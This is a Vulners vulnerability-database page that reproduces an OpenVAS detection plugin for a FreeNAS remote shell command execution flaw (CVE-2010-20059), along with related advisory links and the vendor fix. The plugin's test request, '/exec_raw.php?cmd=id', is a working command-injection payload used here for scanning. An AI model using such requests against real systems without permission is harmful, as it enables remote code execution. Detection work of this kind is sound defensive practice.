Lucene search
+L

FreeNAS Remote Shell Command Execution Vulnerability

🗓️ 19 Nov 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

FreeNAS Remote Shell Command Execution Vulnerability. Failed input sanitization allows execution of arbitrary shell commands, leading to remote code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2010-20059
20 Aug 202515:35
attackerkb
circl
Circl
CVE-2010-20059
29 May 201815:50
circl
cnnvd
CNNVD
iXsystems FreeNAS 安全漏洞
20 Aug 202500:00
cnnvd
cve
CVE
CVE-2010-20059
20 Aug 202515:35
cve
cvelist
Cvelist
CVE-2010-20059 FreeNAS < 0.7.2 rev 5543 exec_raw.php Arbitrary Command Execution
20 Aug 202515:35
cvelist
euvd
EUVD
EUVD-2010-5304
7 Oct 202500:30
euvd
metasploit
Metasploit
FreeNAS exec_raw.php Arbitrary Command Execution
6 Nov 201000:00
metasploit
nvd
NVD
CVE-2010-20059
20 Aug 202516:15
nvd
ptsecurity
Positive Technologies
PT-2025-34099 · Undefined · Undefined
20 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2010-20059
22 Aug 202516:35
redhatcve
Rows per page
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:freenas:freenas";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100912");
  script_version("2025-09-11T05:38:37+0000");
  script_tag(name:"last_modification", value:"2025-09-11 05:38:37 +0000 (Thu, 11 Sep 2025)");
  script_tag(name:"creation_date", value:"2010-11-19 13:40:50 +0100 (Fri, 19 Nov 2010)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2010-20059");

  script_name("FreeNAS Remote Shell Command Execution Vulnerability");

  script_xref(name:"URL", value:"http://web.archive.org/web/20131004103437/http://www.securityfocus.com/bid/44974");
  script_xref(name:"URL", value:"http://sourceforge.net/projects/freenas/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_freenas_detect.nasl");
  script_mandatory_keys("freenas/detected");

  script_tag(name:"summary", value:"FreeNAS is prone to a shell-command-execution vulnerability
  because the application fails to properly sanitize user-supplied input.

  An attacker can exploit the remote shell-command-execution issue to execute arbitrary shell
  commands in the context of the webserver process.

  FreeNAS versions prior to 0.7.2 rev.5543 are vulnerable.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"affected", value:"FreeNAS versions prior to 0.7.2 rev.5543.");
  script_tag(name:"solution", value:"Update to version 0.7.2 rev 5543 or later.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/exec_raw.php?cmd=id";

if (http_vuln_check(port: port,url: url, pattern: "uid=[0-9]+.*gid=[0-9]+.*")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2025 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 49.3
EPSS0.01022
SSVC
18